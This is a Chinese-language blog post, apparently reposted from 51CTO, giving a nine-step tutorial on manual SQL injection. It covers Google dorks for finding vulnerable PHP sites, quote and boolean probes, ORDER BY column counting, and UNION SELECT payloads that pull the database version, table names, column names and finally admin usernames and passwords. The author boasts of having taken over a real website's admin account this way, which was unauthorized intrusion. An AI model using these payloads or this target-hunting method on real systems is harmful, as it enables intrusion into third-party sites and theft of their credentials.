2天以前,俺对于SQL注入式攻击仅仅是有个理论的概念,昨天上班无聊,随手搜索了一下相关的文档,做了个小练习,结果成功获取了某小网站的管理员权限,现在分享一下学习心得。
第一步:搜索可能有漏洞的网站
Google 是很强大的,之前牛牛的帖子就已经提到了利用google收集信息。这里我们可以搜索的关键词很多,例如:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
网上有个术语,把这些称作“Google Dorks”
如果想针对某个特定的网站,可以用类似的格式搜索:site: http:// www.victimsite.com
inurl:php?id=
第二步:检测一下目标是否有明显漏洞
搜索结果会出来一大堆,一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and 1=1 或者 1=2 看看界面是否有明显变化或者直接就给出SQL的报错语句了。
例如http:// www.victimsite.com
/index.php?id=2'
经过5分钟的随意搜索和测试,俺找到一个学习的目标~
正常界面是这样的,
但是等我输入单引号,同样的界面就变成了
当我加上and 1=2 之后呢变成了
Good!很明显,对于不同的SQL语句有不同的反馈,有门!
第三步:看看该表有多少个字段
这一步很简单,也容易理解,url后面加上order by number就行了,这个number可以随意输入,一般从小往大的尝试,比如12,3,4,5都能看见网页界面,然后6就报错了,那么很明显这个网页对应的表只有5个字段
比如当我输入1-4的时候是这个界面
输入5就变成了
很好,那说明这个表就只有4个字段。
第四步:找到有漏洞的字段
如果字段数目是7,那么可以用以下方式,注意数字改成负数
http://www.victimsite.com/index.php?id=-2union select 1,2,3,4,5,6,7—
或者
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,3,4,5,6,7—
以我的攻击目标为例
很好,说明字段2有漏洞
第五步:找到对应的版本号,数据库和用户
把上面的2换成对应的version(),database()和user()即可,例如
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,version(),4,5,6,7—
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,database(),4,5,6,7—
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,user(),4,5,6,7—
我的执行结果是
第六步:看看这个数据库下有哪些表
用group_concat(table_name)替换有漏洞的字段,然后后面加frominformation_schema.tables where table_schema=database()
例如:http://www.victimsite.com/index.php?id=-2 and 1=2 unionselect 1,2,group_concat(table_name),4,5,6,7 from information_schema.tableswhere table_schema=database()—
执行结果如下:
第七步:找到表里的字段名称
把"from information_schema.tables where table_schema=database()--" 替换成"FROMinformation_schema.columns WHERE table_name=mysqlchar—
然后在firefox上安装一个插件HackBar
装好以后界面如下
选择Sql->Mysql->MysqlChar(),然后输入你想查询的表名
将生成的结果替换到mysqlchar
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns wheretable_name=CHAR(97, 100,109, 105, 110)--
成功的获取字段名称!
第八步:查询表获得账户信息
用group_concat(columnname1,0x3a,anothercolumnname2).来替换之前的字段
http://www.victimsite.com/index.php?id=-2
and 1=2 unionselect 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin—
例如
第九步:找到管理员版面登录
一般可能在以下地方存在
http://www.victimsite.com/admin.php
http://www.victimsite.com/admin/
http://www.victimsite.com/admin.html
http://www.victimsite.com:2082/
到此为止,俺的第一个sql注入式攻击的测试成功~
转载自beanxyz的博客
本文转自Grodd51CTO博客,原文链接:http://blog.51cto.com/juispan/2069464,如需转载请自行联系原作者